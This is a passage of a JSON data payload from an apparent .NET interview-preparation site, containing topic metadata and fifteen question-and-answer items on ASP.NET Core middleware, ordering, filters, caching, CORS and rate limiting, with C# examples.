[{"data":1,"prerenderedAt":2326},["ShallowReactive",2],{"hub-dotnet":3},{"framework":4,"topics":15,"qa":86},{"id":5,"description":6,"extension":7,"icon":8,"meta":9,"name":10,"order":11,"slug":8,"stem":12,"tier":13,"__hash__":14},"frameworks\u002Fframeworks\u002Fdotnet.yml",".NET Core interview questions on the CLR, C# language features, ASP.NET Core, dependency injection, Entity Framework, and deployment — the backbone of modern Microsoft-stack backend development.","yml","dotnet",{},".NET Core",7,"frameworks\u002Fdotnet",1,"_nP5kVwZOMUX9nd4gS5Ozj5Q6zQOEmGtLONE3ue01Gw",[16,24,33,42,51,60,69,77],{"id":17,"description":18,"extension":7,"frameworkSlug":8,"meta":19,"name":20,"order":13,"slug":21,"stem":22,"__hash__":23},"topics\u002Ftopics\u002Fdotnet-fundamentals.yml","Core .NET runtime concepts that come up in every interview — how the CLR works, memory allocation, generics design, LINQ execution, and null safety.",{},"Fundamentals","fundamentals","topics\u002Fdotnet-fundamentals","_b39RHQzqLzHVeyWOxUJPMmbHCdE45y7twngM9qGSzM",{"id":25,"description":26,"extension":7,"frameworkSlug":8,"meta":27,"name":28,"order":29,"slug":30,"stem":31,"__hash__":32},"topics\u002Ftopics\u002Fdotnet-csharp-core.yml","The C# language features that separate strong candidates from average ones — async internals, delegates, modern pattern matching, collection selection, and exception design.",{},"C# Core",2,"csharp-core","topics\u002Fdotnet-csharp-core","rYbQZmJUs27de1jhR1ohhZi554FQqyBnE6xmIOIOVwo",{"id":34,"description":35,"extension":7,"frameworkSlug":8,"meta":36,"name":37,"order":38,"slug":39,"stem":40,"__hash__":41},"topics\u002Ftopics\u002Fdotnet-aspnet-core.yml","How ASP.NET Core is structured — the middleware pipeline, routing system, controller lifecycle, and configuration model that underpin every web project.",{},"ASP.NET Core",3,"aspnet-core","topics\u002Fdotnet-aspnet-core","Se1SFKOyWU_JOhRJL33xKxS2I5dPChpRxW6cPVxXEiM",{"id":43,"description":44,"extension":7,"frameworkSlug":8,"meta":45,"name":46,"order":47,"slug":48,"stem":49,"__hash__":50},"topics\u002Ftopics\u002Fdotnet-dependency-injection.yml","The built-in DI container, service lifetimes, captive dependency bugs, and the Options pattern — topics that come up in almost every ASP.NET Core technical screen.",{},"Dependency Injection",4,"dependency-injection","topics\u002Fdotnet-dependency-injection","tpV9wR0WYmFLd-MXE7pwbf9tCeqKkpSiPt7LZb4M7V4",{"id":52,"description":53,"extension":7,"frameworkSlug":8,"meta":54,"name":55,"order":56,"slug":57,"stem":58,"__hash__":59},"topics\u002Ftopics\u002Fdotnet-entity-framework.yml","EF Core from the ground up — change tracking, migrations, LINQ-to-SQL translation, relationship configuration, and the performance traps that trip up most developers.",{},"Entity Framework Core",5,"entity-framework","topics\u002Fdotnet-entity-framework","gV3nrM57XFdlwpFXpSuGTWYCroc49eoYDH-ofJ-mvH0",{"id":61,"description":62,"extension":7,"frameworkSlug":8,"meta":63,"name":64,"order":65,"slug":66,"stem":67,"__hash__":68},"topics\u002Ftopics\u002Fdotnet-security.yml","Authentication, authorization, and JWT security in ASP.NET Core — the security topics that almost every backend role tests and that break most often in real systems.",{},"Security",6,"security","topics\u002Fdotnet-security","99CFVt21wQ2zVkKtQFo2LP2JaXaVQFdcn3doaYbnlz0",{"id":70,"description":71,"extension":7,"frameworkSlug":8,"meta":72,"name":73,"order":11,"slug":74,"stem":75,"__hash__":76},"topics\u002Ftopics\u002Fdotnet-testing.yml","Unit testing, mocking, and integration testing in .NET — covering xUnit, Moq, WebApplicationFactory, and the design habits that make code testable in the first place.",{},"Testing","testing","topics\u002Fdotnet-testing","n4Q03gMl63G7RU1HrAyUNmaSjFFz_jwTYHijkpPRme8",{"id":78,"description":79,"extension":7,"frameworkSlug":8,"meta":80,"name":81,"order":82,"slug":83,"stem":84,"__hash__":85},"topics\u002Ftopics\u002Fdotnet-performance-deployment.yml","Production .NET — caching, structured logging, observability, and deploying ASP.NET Core to Docker and Kubernetes. The operational topics senior roles increasingly test.",{},"Performance & Deployment",8,"performance-deployment","topics\u002Fdotnet-performance-deployment","-plFvM7McZ3X26AbMSfdSSX0w1iRI9rj4PlH6dOeMaI",[87,170,246,321,396,472,546,620,694,768,843,917,991,1066,1141,1215,1289,1364,1438,1512,1586,1660,1734,1809,1883,1955,2029,2103,2178,2253],{"id":88,"title":89,"body":90,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":98,"navigation":99,"order":13,"path":100,"questions":101,"questionsCount":163,"related":164,"seo":165,"seoDescription":166,"stem":167,"subtopic":89,"topic":37,"topicSlug":39,"updated":168,"__hash__":169},"qa\u002Fdotnet\u002Faspnet-core\u002Fmiddleware.md","Middleware",{"type":91,"value":92,"toc":93},"minimark",[],{"title":94,"searchDepth":29,"depth":29,"links":95},"",[],"medium","md",{},true,"\u002Fdotnet\u002Faspnet-core\u002Fmiddleware",[102,107,111,115,119,123,127,131,135,139,143,147,151,155,159],{"id":103,"difficulty":104,"q":105,"a":106},"middleware-what-is","easy","What is middleware in ASP.NET Core and how does the request pipeline work?","**Middleware** are components assembled into a pipeline that processes every HTTP\nrequest and response. Each component can execute logic before *and* after calling\nthe next component, inspect or mutate the request\u002Fresponse, or short-circuit the\npipeline by not calling the next component.\n\n```csharp\nvar builder = WebApplication.CreateBuilder(args);\nvar app = builder.Build();\n\n\u002F\u002F Each Use() adds a middleware component to the pipeline:\napp.Use(async (context, next) =>\n{\n    \u002F\u002F Before: runs on the way IN (request)\n    Console.WriteLine($\"→ {context.Request.Path}\");\n\n    await next(context);   \u002F\u002F call the next middleware\n\n    \u002F\u002F After: runs on the way OUT (response)\n    Console.WriteLine($\"← {context.Response.StatusCode}\");\n});\n\napp.MapGet(\"\u002F\", () => \"Hello World\");\n\napp.Run(); \u002F\u002F starts the pipeline\n```\n\nThe pipeline is a **chain of delegates** — each middleware receives an\n`HttpContext` and a `RequestDelegate` (`next`). The ASP.NET Core host\ncalls the first middleware; it calls `next`, which calls the second, and so on.\nThe response flows back through each component in reverse order.\n\n**Rule of thumb:** Think of the middleware pipeline as an onion — request goes\ninward through each layer, response comes back outward through the same layers\nin reverse.\n",{"id":108,"difficulty":104,"q":109,"a":110},"use-run-map","What is the difference between `Use`, `Run`, and `Map` in the middleware pipeline?","- **`Use`** — adds a middleware that calls `next` to continue the pipeline.\n- **`Run`** — adds a **terminal** middleware that never calls `next`; it ends the pipeline.\n- **`Map`** — **branches** the pipeline for requests matching a path prefix; the branch\n  runs independently and does not rejoin the main pipeline.\n\n```csharp\napp.Use(async (context, next) =>\n{\n    \u002F\u002F Runs for ALL requests; calls next to continue\n    context.Items[\"start\"] = DateTime.UtcNow;\n    await next(context);\n});\n\napp.Map(\"\u002Fhealth\", healthApp =>\n{\n    \u002F\u002F Branch: only requests to \u002Fhealth enter here\n    healthApp.Run(async context =>\n    {\n        \u002F\u002F Terminal: returns immediately; never calls next\n        await context.Response.WriteAsync(\"OK\");\n    });\n});\n\n\u002F\u002F Main pipeline continues for non-\u002Fhealth requests:\napp.Run(async context =>\n{\n    \u002F\u002F Terminal middleware for everything else\n    await context.Response.WriteAsync(\"Hello\");\n});\n```\n\n`MapWhen` is a more flexible variant that branches on any predicate:\n\n```csharp\napp.MapWhen(\n    ctx => ctx.Request.Headers.ContainsKey(\"X-Special\"),\n    specialApp => specialApp.Run(async ctx =>\n        await ctx.Response.WriteAsync(\"special path\")));\n```\n\n**Rule of thumb:** Use `Use` for cross-cutting concerns that must wrap all\nrequests. Use `Run` only at the end of a pipeline branch. Use `Map` to isolate\nsub-pipelines for specific path prefixes.\n",{"id":112,"difficulty":96,"q":113,"a":114},"middleware-ordering","Why does middleware ordering matter in ASP.NET Core and what is the recommended order?","Middleware runs **in registration order** on the request path and in **reverse order**\non the response path. Ordering determines which component sees the request first and\nwhich wraps which. Getting it wrong causes security holes or broken behavior.\n\n```csharp\n\u002F\u002F Microsoft's recommended ordering for a typical web API:\napp.UseExceptionHandler(\"\u002Ferror\");   \u002F\u002F 1. Catch all unhandled exceptions\napp.UseHsts();                       \u002F\u002F 2. Add Strict-Transport-Security header\napp.UseHttpsRedirection();           \u002F\u002F 3. Redirect HTTP → HTTPS\napp.UseStaticFiles();                \u002F\u002F 4. Serve static files (no auth needed)\napp.UseRouting();                    \u002F\u002F 5. Match routes (populates endpoint metadata)\napp.UseCors();                       \u002F\u002F 6. Apply CORS policy (must be after routing)\napp.UseAuthentication();             \u002F\u002F 7. Identify the user\napp.UseAuthorization();              \u002F\u002F 8. Enforce access rules\napp.UseOutputCache();                \u002F\u002F 9. Cache responses (must be after auth)\napp.MapControllers();                \u002F\u002F 10. Dispatch to controller actions\n```\n\nWrong ordering examples:\n- `UseAuthentication` before `UseRouting` means auth runs even for unmatched routes.\n- `UseCors` before `UseRouting` means CORS cannot read endpoint metadata to apply\n  per-endpoint policies.\n- `UseStaticFiles` after `UseAuthentication` applies auth to static asset requests\n  (usually unnecessary overhead).\n\n**Rule of thumb:** Exception handling goes first. Static files go before auth.\nRouting before CORS. Auth before authorization. Dispatch (MapControllers) goes last.\n",{"id":116,"difficulty":96,"q":117,"a":118},"custom-middleware-class","How do you write a custom middleware class in ASP.NET Core?","Two styles: **convention-based** (POCO class) and **interface-based** (`IMiddleware`).\nConvention-based is more common and requires no registration in DI as a singleton.\n\n```csharp\n\u002F\u002F Convention-based: constructor takes RequestDelegate; InvokeAsync takes HttpContext\npublic class RequestTimingMiddleware\n{\n    private readonly RequestDelegate _next;\n    private readonly ILogger\u003CRequestTimingMiddleware> _logger;\n\n    public RequestTimingMiddleware(RequestDelegate next,\n        ILogger\u003CRequestTimingMiddleware> logger)\n    {\n        _next = next;\n        _logger = logger;\n    }\n\n    public async Task InvokeAsync(HttpContext context)\n    {\n        var sw = Stopwatch.StartNew();\n        await _next(context);          \u002F\u002F call the rest of the pipeline\n        sw.Stop();\n        _logger.LogInformation(\"{Method} {Path} completed in {Ms} ms\",\n            context.Request.Method,\n            context.Request.Path,\n            sw.ElapsedMilliseconds);\n    }\n}\n\n\u002F\u002F Extension method for clean registration:\npublic static class RequestTimingMiddlewareExtensions\n{\n    public static IApplicationBuilder UseRequestTiming(\n        this IApplicationBuilder app) =>\n        app.UseMiddleware\u003CRequestTimingMiddleware>();\n}\n\n\u002F\u002F In Program.cs:\napp.UseRequestTiming();\n```\n\nThe **`IMiddleware`** style is created per-request from DI (supports scoped dependencies):\n\n```csharp\npublic class ScopedMiddleware : IMiddleware\n{\n    private readonly IScopedService _svc; \u002F\u002F scoped dep — works with IMiddleware\n\n    public ScopedMiddleware(IScopedService svc) => _svc = svc;\n\n    public async Task InvokeAsync(HttpContext context, RequestDelegate next)\n    {\n        _svc.DoSomething();\n        await next(context);\n    }\n}\n\n\u002F\u002F Must be registered in DI:\nbuilder.Services.AddTransient\u003CScopedMiddleware>();\napp.UseMiddleware\u003CScopedMiddleware>();\n```\n\n**Rule of thumb:** Use convention-based middleware for singleton \u002F transient\ndependencies. Use `IMiddleware` when you need scoped services injected directly\ninto the middleware constructor.\n",{"id":120,"difficulty":96,"q":121,"a":122},"short-circuit","What does \"short-circuiting\" the pipeline mean and when should you do it?","**Short-circuiting** means a middleware does **not** call `next` — it handles the\nrequest entirely and writes the response itself, preventing later middleware from\nrunning. This is how authentication middleware rejects unauthorized requests before\nthey reach the controller.\n\n```csharp\napp.Use(async (context, next) =>\n{\n    \u002F\u002F Check API key in header\n    if (!context.Request.Headers.TryGetValue(\"X-Api-Key\", out var key)\n        || key != \"secret-key\")\n    {\n        \u002F\u002F Short-circuit: respond 401 without calling next\n        context.Response.StatusCode = 401;\n        await context.Response.WriteAsync(\"Unauthorized\");\n        return; \u002F\u002F ← critical: do NOT call next\n    }\n\n    await next(context); \u002F\u002F valid key — continue to next middleware\n});\n\n\u002F\u002F Controller only runs if the API key was valid:\napp.MapControllers();\n```\n\nCommon scenarios for short-circuiting:\n- **Authentication \u002F authorization failures** — return 401 \u002F 403.\n- **Health checks** — return 200 OK immediately without running the full pipeline.\n- **Rate limiting** — return 429 Too Many Requests.\n- **CORS preflight** — handle OPTIONS requests without business logic.\n- **Request validation** — return 400 Bad Request for malformed input.\n\n**Rule of thumb:** Short-circuit as early in the pipeline as possible to avoid\nunnecessary work. Always set the correct HTTP status code before returning without\ncalling `next`.\n",{"id":124,"difficulty":96,"q":125,"a":126},"exception-handling-middleware","How does exception-handling middleware work in ASP.NET Core?","ASP.NET Core provides two built-in options: **`UseExceptionHandler`** for production\n(re-executes a different endpoint) and **`UseDeveloperExceptionPage`** for development\n(shows a detailed stack trace). You can also write your own.\n\n```csharp\nif (app.Environment.IsDevelopment())\n    app.UseDeveloperExceptionPage(); \u002F\u002F shows full stack trace — dev only!\nelse\n    app.UseExceptionHandler(\"\u002Ferror\"); \u002F\u002F re-executes \u002Ferror endpoint — production\n\n\u002F\u002F \u002Ferror endpoint reads the stored exception from HttpContext:\napp.Map(\"\u002Ferror\", (HttpContext ctx) =>\n{\n    var ex = ctx.Features.Get\u003CIExceptionHandlerFeature>()?.Error;\n    return Results.Problem(\n        title: \"An error occurred\",\n        detail: ex?.Message,\n        statusCode: 500);\n});\n```\n\nCustom exception middleware — catches exceptions from any later middleware:\n\n```csharp\npublic class GlobalExceptionMiddleware\n{\n    private readonly RequestDelegate _next;\n    private readonly ILogger _logger;\n\n    public GlobalExceptionMiddleware(RequestDelegate next,\n        ILogger\u003CGlobalExceptionMiddleware> logger)\n    {\n        _next = next; _logger = logger;\n    }\n\n    public async Task InvokeAsync(HttpContext context)\n    {\n        try\n        {\n            await _next(context); \u002F\u002F run the rest of the pipeline\n        }\n        catch (Exception ex)\n        {\n            _logger.LogError(ex, \"Unhandled exception for {Path}\",\n                context.Request.Path);\n\n            context.Response.StatusCode = 500;\n            context.Response.ContentType = \"application\u002Fjson\";\n            await context.Response.WriteAsJsonAsync(\n                new { error = \"An unexpected error occurred.\" });\n        }\n    }\n}\n```\n\n**Rule of thumb:** Always register exception-handling middleware **first** in the\npipeline so it wraps every subsequent component and can catch any unhandled exception.\n",{"id":128,"difficulty":96,"q":129,"a":130},"middleware-vs-filters","What is the difference between middleware and MVC action filters?","**Middleware** operates at the HTTP pipeline level — it sees raw `HttpContext` and\nruns for every request, including static files, health checks, and non-MVC routes.\n**Action filters** are part of the MVC framework and run only for controller actions;\nthey have access to `ActionContext`, model binding results, and action arguments.\n\n```csharp\n\u002F\u002F Middleware: applies to every request, no MVC context\napp.Use(async (ctx, next) =>\n{\n    \u002F\u002F ctx.Request, ctx.Response — raw HTTP only\n    \u002F\u002F No knowledge of controllers, actions, or models\n    await next(ctx);\n});\n\n\u002F\u002F Action filter: runs only for matched MVC endpoints\npublic class ValidateModelFilter : IActionFilter\n{\n    public void OnActionExecuting(ActionExecutingContext context)\n    {\n        \u002F\u002F Has access to model state, action arguments, controller\n        if (!context.ModelState.IsValid)\n            context.Result = new BadRequestObjectResult(context.ModelState);\n    }\n\n    public void OnActionExecuted(ActionExecutedContext context) { }\n}\n\n\u002F\u002F Register globally:\nbuilder.Services.AddControllers(options =>\n    options.Filters.Add\u003CValidateModelFilter>());\n```\n\n| Aspect | Middleware | Action Filter |\n|---|---|---|\n| Scope | All requests | MVC actions only |\n| Context | `HttpContext` | `ActionContext`, model state |\n| Ordering | Pipeline order | Filter pipeline (Auth→Resource→Action→Result) |\n| Best for | CORS, logging, auth | Validation, audit, action-level cross-cutting |\n\n**Rule of thumb:** Use middleware for concerns that apply to all HTTP traffic\n(logging, CORS, auth, rate limiting). Use filters when you need MVC context\n(model state, action arguments, controller metadata).\n",{"id":132,"difficulty":104,"q":133,"a":134},"built-in-middleware","What are the most important built-in middleware components in ASP.NET Core?","ASP.NET Core ships with a rich set of built-in middleware for common scenarios:\n\n```csharp\napp.UseExceptionHandler(\"\u002Ferror\");      \u002F\u002F Global exception handling\napp.UseHsts();                          \u002F\u002F HTTP Strict Transport Security\napp.UseHttpsRedirection();              \u002F\u002F HTTP → HTTPS redirect\napp.UseStaticFiles();                   \u002F\u002F Serve wwwroot static assets\napp.UseRouting();                       \u002F\u002F Endpoint routing\napp.UseCors(\"MyPolicy\");               \u002F\u002F Cross-Origin Resource Sharing\napp.UseAuthentication();               \u002F\u002F JWT \u002F cookie auth\napp.UseAuthorization();                \u002F\u002F Policy enforcement\napp.UseRateLimiter();                  \u002F\u002F Rate limiting (.NET 7+)\napp.UseOutputCache();                  \u002F\u002F Response caching (.NET 7+)\napp.UseResponseCompression();          \u002F\u002F Gzip \u002F Brotli compression\napp.UseSession();                      \u002F\u002F Session state\napp.UseRequestLocalization();          \u002F\u002F i18n \u002F locale\n```\n\nThe `UseStaticFiles` middleware serves files from `wwwroot` by default:\n\n```csharp\n\u002F\u002F Serve files from a custom directory:\napp.UseStaticFiles(new StaticFileOptions\n{\n    FileProvider = new PhysicalFileProvider(\n        Path.Combine(builder.Environment.ContentRootPath, \"uploads\")),\n    RequestPath = \"\u002Fuploads\"\n});\n```\n\n**Rule of thumb:** Rely on built-in middleware before writing custom components —\nthey are battle-tested, well-configured, and maintained by Microsoft. Only write\ncustom middleware for genuinely application-specific concerns.\n",{"id":136,"difficulty":96,"q":137,"a":138},"middleware-dependency-injection","How do you inject services into middleware, and what lifetime restrictions apply?","In **convention-based middleware** the middleware class is instantiated once (singleton\nlifetime). **Singleton** services can be injected via the constructor. **Scoped** and\n**transient** services must be injected via `InvokeAsync` parameters — ASP.NET Core\nresolves them from the per-request scope automatically.\n\n```csharp\npublic class AuditMiddleware\n{\n    private readonly RequestDelegate _next;\n    private readonly IConfiguration _config; \u002F\u002F singleton — safe in constructor\n\n    public AuditMiddleware(RequestDelegate next, IConfiguration config)\n    {\n        _next = next;\n        _config = config;\n    }\n\n    \u002F\u002F Scoped service injected via parameter — fresh instance per request:\n    public async Task InvokeAsync(HttpContext context, IAuditService auditService)\n    {\n        await auditService.LogRequestAsync(context.Request.Path);\n        await _next(context);\n    }\n}\n```\n\nInjecting a scoped service into the constructor of convention-based middleware\ncreates a **captive dependency** — the scoped service lives for the entire app\nlifetime, causing shared state bugs across requests.\n\n**Rule of thumb:** Singleton deps → constructor. Scoped \u002F transient deps →\n`InvokeAsync` parameters. Alternatively, use `IMiddleware` which is resolved\nper-request and supports any lifetime in the constructor.\n",{"id":140,"difficulty":96,"q":141,"a":142},"response-caching-middleware","How does `UseResponseCaching` work and when should you use `UseOutputCache` instead?","**`UseResponseCaching`** (all .NET versions) adds standard HTTP cache headers\n(`Cache-Control`) and caches responses in memory that have those headers. It only\ncaches GET\u002FHEAD requests with successful 2xx status codes and does not cache\nwhen the request includes `Authorization` headers by default.\n\n```csharp\n\u002F\u002F Startup:\nbuilder.Services.AddResponseCaching();\napp.UseResponseCaching();   \u002F\u002F must be before routing\n\n\u002F\u002F Controller action:\n[HttpGet(\"products\")]\n[ResponseCache(Duration = 60, Location = ResponseCacheLocation.Any)]\npublic IActionResult GetProducts() => Ok(_products);\n\u002F\u002F Sets: Cache-Control: public, max-age=60\n```\n\n**`UseOutputCache`** (.NET 7+) is a newer, more powerful replacement:\n\n```csharp\nbuilder.Services.AddOutputCache(options =>\n    options.AddPolicy(\"products\", p => p.Expire(TimeSpan.FromMinutes(1))));\n\napp.UseOutputCache();\n\napp.MapGet(\"products\", () => products).CacheOutput(\"products\");\n\u002F\u002F Supports cache invalidation, vary-by-query, tags, and custom stores\n```\n\n| Feature | ResponseCaching | OutputCache |\n|---|---|---|\n| Standard | HTTP\u002F1.1 Cache-Control | Server-side only |\n| Invalidation | None | Tag-based |\n| Vary-by | Headers | Query, headers, claims, custom |\n| .NET version | All | .NET 7+ |\n\n**Rule of thumb:** For new projects on .NET 7+, prefer `UseOutputCache` — it gives\nfine-grained control, tag-based invalidation, and works correctly with authenticated\nendpoints. Use `UseResponseCaching` only for simple public CDN-friendly responses.\n",{"id":144,"difficulty":96,"q":145,"a":146},"cors-middleware","How do you configure CORS middleware in ASP.NET Core?","**CORS (Cross-Origin Resource Sharing)** is enforced by the browser for\ncross-origin requests. The ASP.NET Core CORS middleware adds the necessary\n`Access-Control-Allow-*` response headers.\n\n```csharp\n\u002F\u002F Register CORS with a named policy:\nbuilder.Services.AddCors(options =>\n{\n    options.AddPolicy(\"AllowFrontend\", policy =>\n        policy.WithOrigins(\"https:\u002F\u002Fapp.example.com\")\n              .WithMethods(\"GET\", \"POST\", \"PUT\", \"DELETE\")\n              .WithHeaders(\"Content-Type\", \"Authorization\")\n              .AllowCredentials());\n\n    \u002F\u002F Development: allow any origin (NEVER use in production):\n    options.AddPolicy(\"DevAllowAll\", policy =>\n        policy.AllowAnyOrigin()\n              .AllowAnyMethod()\n              .AllowAnyHeader());\n});\n\n\u002F\u002F Apply: MUST be between UseRouting and UseAuthorization\napp.UseRouting();\napp.UseCors(\"AllowFrontend\");\napp.UseAuthorization();\n\n\u002F\u002F Per-endpoint override:\napp.MapGet(\"\u002Fpublic\", () => \"public\")\n   .RequireCors(\"DevAllowAll\");\n\n\u002F\u002F Disable CORS for a specific endpoint:\napp.MapGet(\"\u002Finternal\", () => \"internal\")\n   .RequireCors(builder => builder.DisallowCredentials());\n```\n\nThe preflight `OPTIONS` request is handled automatically by `UseCors` — you do not\nneed a separate OPTIONS action in your controller.\n\n**Rule of thumb:** Define tight CORS policies per environment — never use\n`AllowAnyOrigin` with `AllowCredentials` (the spec forbids it and ASP.NET Core\nthrows). Register `UseCors` between `UseRouting` and `UseAuthorization`.\n",{"id":148,"difficulty":104,"q":149,"a":150},"middleware-pipeline-diagram","Can you describe the lifecycle of a request through the ASP.NET Core middleware pipeline?","A request travels through the pipeline in a strict sequence:\n\n```\nHTTP Request\n     │\n     ▼\n┌─────────────────────────┐\n│ ExceptionHandler        │ ← wraps all; catches any exception\n│  ┌───────────────────┐  │\n│  │ HSTS \u002F HTTPS      │  │ ← security headers\n│  │  ┌─────────────┐  │  │\n│  │  │ StaticFiles │  │  │ ← served without auth\n│  │  │  ┌────────┐ │  │  │\n│  │  │  │Routing │ │  │  │ ← matches endpoint, populates metadata\n│  │  │  │  ┌───┐ │ │  │  │\n│  │  │  │  │Auth│ │ │  │  │ ← authn + authz\n│  │  │  │  │ ┌─┐│ │ │  │  │\n│  │  │  │  │ │EP│ │ │  │  │ ← endpoint (controller action \u002F minimal API)\n│  │  │  │  │ └─┘│ │ │  │  │\n│  │  │  │  └───┘ │ │  │  │\n│  │  │  └────────┘ │  │  │\n│  │  └─────────────┘  │  │\n│  └───────────────────┘  │\n└─────────────────────────┘\n     │\n     ▼\nHTTP Response (flows back outward through each layer)\n```\n\nEach box represents a middleware. The response flows **back outward** through each\nlayer in reverse, allowing each component to inspect or modify the response.\n\n```csharp\n\u002F\u002F Simplified but accurate lifecycle in code:\napp.UseExceptionHandler(\"\u002Ferror\");   \u002F\u002F outer: catches exceptions\napp.UseHttpsRedirection();\napp.UseStaticFiles();\napp.UseRouting();\napp.UseAuthentication();\napp.UseAuthorization();\napp.MapControllers();               \u002F\u002F inner: business logic\n```\n\n**Rule of thumb:** The request flows inward (top → bottom in registration order),\nthe response flows outward (bottom → top). Components registered early have the\nmost control and the most responsibility.\n",{"id":152,"difficulty":96,"q":153,"a":154},"rate-limiting-middleware","How do you add rate limiting to an ASP.NET Core application with `UseRateLimiter`?","**Rate limiting** (.NET 7+) is built into ASP.NET Core via `Microsoft.AspNetCore.RateLimiting`.\nYou define one or more policies, register them with `AddRateLimiter`, and apply the\nmiddleware with `UseRateLimiter`.\n\n```csharp\nusing System.Threading.RateLimiting;\n\nbuilder.Services.AddRateLimiter(options =>\n{\n    \u002F\u002F Fixed window: max 100 requests per 60-second window per client IP\n    options.AddFixedWindowLimiter(\"fixed\", o =>\n    {\n        o.PermitLimit         = 100;\n        o.Window              = TimeSpan.FromSeconds(60);\n        o.QueueProcessingOrder = QueueProcessingOrder.OldestFirst;\n        o.QueueLimit          = 10; \u002F\u002F queue up to 10 excess requests\n    });\n\n    \u002F\u002F Sliding window — smoother than fixed; avoids burst at window boundary\n    options.AddSlidingWindowLimiter(\"sliding\", o =>\n    {\n        o.PermitLimit         = 100;\n        o.Window              = TimeSpan.FromSeconds(60);\n        o.SegmentsPerWindow   = 6; \u002F\u002F 10-second segments\n        o.QueueProcessingOrder = QueueProcessingOrder.OldestFirst;\n        o.QueueLimit          = 0;\n    });\n\n    \u002F\u002F Token bucket — allows bursts up to bucket size\n    options.AddTokenBucketLimiter(\"api\", o =>\n    {\n        o.TokenLimit          = 50;\n        o.TokensPerPeriod     = 10;\n        o.ReplenishmentPeriod = TimeSpan.FromSeconds(10);\n        o.QueueProcessingOrder = QueueProcessingOrder.OldestFirst;\n        o.QueueLimit          = 0;\n    });\n\n    \u002F\u002F 429 response when limit exceeded:\n    options.RejectionStatusCode = StatusCodes.Status429TooManyRequests;\n});\n\n\u002F\u002F Register in pipeline AFTER UseRouting:\napp.UseRateLimiter();\n\n\u002F\u002F Apply a policy to a specific endpoint:\napp.MapGet(\"\u002Fapi\u002Fdata\", () => \"data\")\n   .RequireRateLimiting(\"fixed\");\n\n\u002F\u002F Apply globally to all controllers:\napp.MapControllers().RequireRateLimiting(\"api\");\n\n\u002F\u002F Disable on a specific action:\napp.MapGet(\"\u002Fhealth\", () => \"OK\")\n   .DisableRateLimiting();\n```\n\n**Rule of thumb:** Prefer `AddTokenBucketLimiter` for APIs that need burst tolerance,\nand `AddSlidingWindowLimiter` for smooth, predictable throttling. Always set\n`RejectionStatusCode = 429` and consider partition by user or IP for fairness.\n",{"id":156,"difficulty":96,"q":157,"a":158},"use-when-vs-map-when","What is the difference between `UseWhen` and `MapWhen` for conditional middleware?","Both `UseWhen` and `MapWhen` branch the middleware pipeline based on a predicate, but\nthey differ in whether the branch **rejoins** the main pipeline:\n\n- **`UseWhen`** — runs extra middleware for matching requests, then **rejoins** the\n  main pipeline after the branch, so subsequent middleware still runs.\n- **`MapWhen`** — creates a completely separate branch; matching requests **never\n  return** to the main pipeline.\n\n```csharp\n\u002F\u002F UseWhen: add logging only for API requests, then continue main pipeline\napp.UseWhen(\n    ctx => ctx.Request.Path.StartsWithSegments(\"\u002Fapi\"),\n    apiApp =>\n    {\n        apiApp.Use(async (context, next) =>\n        {\n            Console.WriteLine($\"API request: {context.Request.Method} {context.Request.Path}\");\n            await next(context); \u002F\u002F continue branch\n        });\n        \u002F\u002F After the branch, the main pipeline continues — MapControllers still runs\n    });\n\napp.UseAuthentication();\napp.UseAuthorization();\napp.MapControllers(); \u002F\u002F reached by ALL requests (both API and non-API)\n\n\u002F\u002F MapWhen: isolate \u002Fhealth — it never hits auth or controllers\napp.MapWhen(\n    ctx => ctx.Request.Path == \"\u002Fhealth\",\n    healthApp =>\n    {\n        \u002F\u002F Terminal for \u002Fhealth requests — does NOT rejoin main pipeline\n        healthApp.Run(async ctx =>\n            await ctx.Response.WriteAsync(\"Healthy\"));\n    });\n\n\u002F\u002F Good: UseWhen for cross-cutting concerns that still need the main pipeline\n\u002F\u002F Good: MapWhen for isolated sub-pipelines (health, metrics, webhooks)\n```\n\n**Rule of thumb:** Use `UseWhen` when you want conditional middleware but still need\nthe rest of the pipeline (auth, routing, dispatch) to run. Use `MapWhen` when the\nbranch is fully self-contained and must not fall through to the main pipeline.\n",{"id":160,"difficulty":96,"q":161,"a":162},"endpoint-filters","What are endpoint filters in minimal APIs and how do they compare to action filters?","**Endpoint filters** (ASP.NET Core 7+) are the minimal API equivalent of MVC action\nfilters. They wrap a minimal API handler and can run logic before and after it\nexecutes, short-circuit with a different result, or modify the response.\n\n```csharp\n\u002F\u002F Inline endpoint filter:\napp.MapPost(\"\u002Forders\", CreateOrder)\n   .AddEndpointFilter(async (ctx, next) =>\n   {\n       \u002F\u002F Before handler — validate request:\n       if (!ctx.HttpContext.User.Identity!.IsAuthenticated)\n           return Results.Unauthorized();\n\n       var result = await next(ctx); \u002F\u002F call the handler\n       \u002F\u002F After handler — inspect\u002Fmodify result:\n       return result;\n   });\n\n\u002F\u002F Reusable filter class:\npublic class ValidationFilter\u003CT> : IEndpointFilter\n{\n    public async ValueTask\u003Cobject?> InvokeAsync(\n        EndpointFilterInvocationContext ctx, EndpointFilterDelegate next)\n    {\n        \u002F\u002F Find the first argument of type T:\n        var arg = ctx.Arguments.OfType\u003CT>().FirstOrDefault();\n        if (arg is null)\n            return Results.BadRequest(\"Missing request body\");\n\n        \u002F\u002F Validate with DataAnnotations:\n        var errors = new List\u003CValidationResult>();\n        if (!Validator.TryValidateObject(arg, new ValidationContext(arg), errors, true))\n            return Results.ValidationProblem(\n                errors.ToDictionary(e => e.MemberNames.First(), e => new[] { e.ErrorMessage! }));\n\n        return await next(ctx); \u002F\u002F all valid — run handler\n    }\n}\n\n\u002F\u002F Apply typed validation filter to an endpoint:\napp.MapPost(\"\u002Fproducts\", (CreateProductDto dto) => CreateProduct(dto))\n   .AddEndpointFilter\u003CValidationFilter\u003CCreateProductDto>>();\n\n\u002F\u002F Apply to an entire group:\nvar orders = app.MapGroup(\"\u002Forders\").AddEndpointFilter\u003CValidationFilter\u003CCreateOrderDto>>();\norders.MapPost(\"\u002F\", CreateOrder);\norders.MapPut(\"\u002F{id:int}\", UpdateOrder);\n```\n\n| Aspect | Endpoint Filter | Action Filter |\n|---|---|---|\n| Target | Minimal API endpoints | MVC controller actions |\n| Context | `EndpointFilterInvocationContext` | `ActionExecutingContext` |\n| Groups | Yes (`MapGroup`) | Global \u002F controller \u002F action |\n| Model state | Manual validation | Automatic with `[ApiController]` |\n\n**Rule of thumb:** Use endpoint filters in minimal APIs for cross-cutting concerns\n(validation, logging, rate limiting). Use action filters in controller-based APIs\nwhere you need access to `ModelState`, action descriptors, or MVC conventions.\n",15,null,{"description":94},"ASP.NET Core 